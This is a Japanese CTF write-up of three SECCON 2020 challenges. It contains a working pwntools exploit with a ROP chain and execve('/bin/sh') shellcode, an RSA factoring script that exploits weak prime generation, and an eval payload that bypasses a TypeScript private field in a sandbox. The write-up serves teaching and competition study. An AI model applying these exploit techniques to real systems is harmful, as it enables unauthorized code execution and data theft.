Satoooonの物置

CTFなどをしていない

SECCON 2020 Online 解けた問題のWriteup

はじめに

SECCON Online CTF 2020にチーム125で出場して、結果はWelcome,Surveyを除く309チーム中48位でした。

解けた問題(pwarmup, This is RSA, Begginer's Capsule)について解説をします。

pwarmup [pwn, 63solves]

#include <unistd.h>
#include <stdio.h>

int main(void) {
  char buf[0x20];
  puts("Welcome to Pwn Warmup!");
  scanf("%s", buf);
  fclose(stdout);
  fclose(stderr);
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(60);
}
RELRO           STACK CANARY      NX            PIE   
No RELRO        No canary found   NX disabled   No PIE  

セキュリティ機構はなし、stdoutとstderrが閉じられている状態でのBuffer Over Flowです。

scanf("%s")はよく見かけるんですが、scanf("%31s")のように文字数を指定しないとOverFlowできてしまうので気を付けてください。

あとはROPでbss領域にシェルコードを書き込んで飛べば任意コード実行ができます。

def solve(io):
    chall = ELF("./chall")
    io.readline()

    pop_rdi = 0x00000000004007e3
    pop_rsi_r15 = 0x00000000004007e1
    parcent_s_string = 0x0040081b
    bss = 0x600000
    # exec /bin/sh
    shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    payload = b""
    payload += b"A" * 0x20  # buf
    payload += b"A" * 0x8   # rbp
    
    # rdi = "%s"
    payload += p64(pop_rdi)
    payload += p64(parcent_s_string)
    
    # rsi = bss
    payload += p64(pop_rsi_r15)
    payload += p64(bss)
    payload += p64(0)
    
    # scanf("%s", bss)
    payload += p64(chall.plt["__isoc99_scanf"])
    # go to shellcode
    payload += p64(bss)
    
    io.sendline(payload)
    io.sendline(shellcode)

これでシェルが取れたはいいんですが、標準出力が閉じられているためフラグをcatしても見えません。

Reverse Shellをすればいいらしいんですが、ネットワークの設定をミスったのかReverse Shellが届きませんでした。

そのためシェル上でできることを探していたら、回答を見つけました。

stackoverflow.com

この回答にある通り

$ exec 1>&0
$ exec 2>&0

をすると標準出力が直り、フラグが得られました。

This is RSA [crypto, 62solves]

require 'openssl'

def get_prime
  i = OpenSSL::BN.rand(512).to_s.unpack1('H*').hex
  OpenSSL::BN.new(i).prime? ? i : get_prime
end

p = get_prime
q = get_prime
n = p * q
e = 65537
m = File.read('flag.txt').unpack1('H*').hex
c = m.pow(e, n)

puts "N = #{n}"
puts "c = #{c}"
N = 13234306273608973531555502334446720401597326792644624514228362685813698571322410829494757436628326246629203126562441757712029708148508660279739210512110734001019285095467352938553972438629039005820507697493315650840705745518918873979766056584458077636454673830866061550714002346318865318536544606580475852690351622415519854730947773248376978689711597597169469401661488756669849772658771813742926651925442468141895198767553183304485662688033274567173210826233405235701905642383704395846192587563843422713499468379304400363773291993404144432403315463931374682824546730098380872658106314368520370995385913965019067624762624652495458399359096083188938802975032297056646831904294336374652136926975731836556951432035301855715375295216481079863945383657
c = 9094564357254217771457579638296343398667095069849711922513911147179424647045593821415928967849073271368133854458732106409023539482401316282328817488781771665657515880026432487444729168909088425021111879152492812216384426360971681055941907554538267523250780508925995498013624610554177330113234686073838491261974164065812534037687990653834520243512128393881497418722817552604416319729143988970277812550536939775865310487081108925130229024749287074763499871216498398695877450736179371920963283041212502898938555288461797406895266037211533065670904218278235604002573401193114111627382958428536968266964975362791704067660270952933411608299947663325963289383426020609754934510085150774508301734516652467839087341415815719569669955613063226205647580528

rubyRSA暗号を実装したプログラムのようです。Nとcからmを復元できたら勝ちです。

get_primeをよく見ると、乱数を文字列にしてからそれを16進のバイト列にし、16進数に変換してiを得ているようです。

1234 => "\x31323334" => 0x31323334 => i

つまりP,Qを16進数に直すと、1バイトずつ見たとき取りうる値は0x30-0x39の10ケースしかないです。

これを使ってどうするかなんですが、因数分解か掛け算の復元をできないかな~と考えてたら下から確定できることに気付きました。

掛け算の一番下の値は繰り上がりがないためP*Qの一番下の値はP,Qの一番下の値のみ依存します。 それを使ってP,Qの一番下を求めます。複数の組み合わせが出てくることが想定されますが、この問題では一意に決まりました。すると、繰り上がりも計算できるので下から2番目の値がわかります。

そんな感じで下から求めれば解けました。

import binascii
e = 65537
N = 13234306273608973531555502334446720401597326792644624514228362685813698571322410829494757436628326246629203126562441757712029708148508660279739210512110734001019285095467352938553972438629039005820507697493315650840705745518918873979766056584458077636454673830866061550714002346318865318536544606580475852690351622415519854730947773248376978689711597597169469401661488756669849772658771813742926651925442468141895198767553183304485662688033274567173210826233405235701905642383704395846192587563843422713499468379304400363773291993404144432403315463931374682824546730098380872658106314368520370995385913965019067624762624652495458399359096083188938802975032297056646831904294336374652136926975731836556951432035301855715375295216481079863945383657
c = 9094564357254217771457579638296343398667095069849711922513911147179424647045593821415928967849073271368133854458732106409023539482401316282328817488781771665657515880026432487444729168909088425021111879152492812216384426360971681055941907554538267523250780508925995498013624610554177330113234686073838491261974164065812534037687990653834520243512128393881497418722817552604416319729143988970277812550536939775865310487081108925130229024749287074763499871216498398695877450736179371920963283041212502898938555288461797406895266037211533065670904218278235604002573401193114111627382958428536968266964975362791704067660270952933411608299947663325963289383426020609754934510085150774508301734516652467839087341415815719569669955613063226205647580528

hexn = hex(N)
p = 0
q = 0
def brute(i):
    global p, q
    for pi in range(10):
        for qi in range(10):
            p2 = p + (0x30 + pi) * pow(0x10, i)
            q2 = q + (0x30 + qi) * pow(0x10, i)
            if hex(p2*q2)[-2-i:] == hexn[-2-i:]:
                p = p2
                q = q2
                return
for i in range(0, 512, 2):
    brute(i)

d = pow(e, -1, (p-1)*(q-1))
m = pow(c, d, N)
print(m.to_bytes(1000, "big"))

これ任意整数の引数分解がO(log(N))でできるように見えるんですが、たぶんエントロピーが足りなくて組み合わせ爆発するんでしょう(適当)

Begginer's Capsule [web, 55solves]

import * as fs from 'fs';
// @ts-ignore
import {enableSeccompFilter} from './lib.js';

class Flag {
  #flag: string;
  constructor(flag: string) {
    this.#flag = flag;
  }
}

const flag = new Flag(fs.readFileSync('flag.txt').toString());
fs.unlinkSync('flag.txt');

enableSeccompFilter();
/* Your Code */

Your Codeの部分にコードを書いて実行することができるサンドボックスのサイトが与えられます。

flag.flagにフラグが格納されてるみたいですね。ではconsole.log(flag.flag)で終わり!SECCON完!

と言いたいですがそうも行きません。#というのがflag.flagの前についています。

これは「ハードプライベート」と呼ばれる書き方で、クラス外からアクセスできないようになっています。

qiita.com

というわけでflag.flagは参照できないんですね。ではflag.txt読んで終わり!SECCON完!

と言いたいですがenableSeccompFilter()の部分で弾かれています。

ソースコードを見るとlib.jsが見れます。

module.exports.enableSeccompFilter = () => {
  const {
    SCMP_ACT_ALLOW,
    SCMP_ACT_ERRNO,
    NodeSeccomp,
    errors: {EACCESS},
  } = require('node-seccomp');

  const seccomp = NodeSeccomp();

  seccomp
    .init(SCMP_ACT_ALLOW)
    .ruleAdd(SCMP_ACT_ERRNO(EACCESS), 'open')
    .ruleAdd(SCMP_ACT_ERRNO(EACCESS), 'openat')
    .load();

  delete require.cache[require.resolve('node-seccomp')];
};

node-seccompはnodejsのパッケージで、OSのシステムコールの制限ができるライブラリのようです。

これによりファイルを開くことが不可能になっています。最初はこのバイパスを考えてましたが無謀でした。

ではflag.flagをなんとかして読むことを考えましょう。

先程の記事には、

「TypeScriptコンパイラは、このECMAScript Private Fields構文を、ES2015に対応している環境なら動くようなJSコードにトランスパイルしてくれるので、最新じゃないブラウザでも動かすことができます。」

とあります。tsconfig.jsonを読むとトランスパイル先はES2015です。そのため、真のハードプライベートではなく疑似的に再現したjsのコードになるようです。

これを使います。

www.typescriptlang.org

というサイトでトランスパイル結果を確認してみます。

class Flag {
  #flag: string;
  constructor(flag: string) {
    this.#flag = flag;
  }
}
const flag = new Flag("FLAG!!!!");

これをトランスパイルした結果がこちらです。

"use strict";
var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, privateMap, value) {
    if (!privateMap.has(receiver)) {
        throw new TypeError("attempted to set private field on non-instance");
    }
    privateMap.set(receiver, value);
    return value;
};
var _flag;
class Flag {
    constructor(flag) {
        _flag.set(this, void 0);
        __classPrivateFieldSet(this, _flag, flag);
    }
}
_flag = new WeakMap();
const flag = new Flag("FLAG!!!!");

WeakMapというもので実現してるみたいですね。確認すると色々書いてますが、要は連想配列です。

developer.mozilla.org

privateMap.setではflagオブジェクトをキー、フラグ文字列を値として格納しているようです。

WeakMap.prototype.get(key)というメゾッドがあるようなので、flagオブジェクトをキーにアクセスすればフラグが得られそうです。

では// @ts-ignoreをつけてからconsole.log(_flag.get(flag))で終わり!SECCON完!

と言いたいですが駄目です。自分のコードを含んだコードをトランスパイルしてみるとこうなります。

"use strict";
var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, privateMap, value) {
    if (!privateMap.has(receiver)) {
        throw new TypeError("attempted to set private field on non-instance");
    }
    privateMap.set(receiver, value);
    return value;
};
var _flag_1;
class Flag {
    constructor(flag) {
        _flag_1.set(this, void 0);
        __classPrivateFieldSet(this, _flag_1, flag);
    }
}
_flag_1 = new WeakMap();
const flag = new Flag("FLAG!!!!");
// @ts-ignore
console.log(_flag.get(flag));

いやらしく_flagが_flag_1に変わってますね。トランスパイラに認識されないようにevalを使いましょう。

というわけで最終的なペイロードはこちらです。

// @ts-ignore
console.log(eval("_flag.get(flag)"));

本番ではflagの間を+で分割してましたが、いらないみたいですね。

感想

良問揃いで面白かったです。チームには貢献できましたが、warmupしか解けてないことを忘れてはならない(戒め)

あと、チームで一緒にReversingしてるのがすごい楽しかったです。やっぱりソロよりチームがいいですね。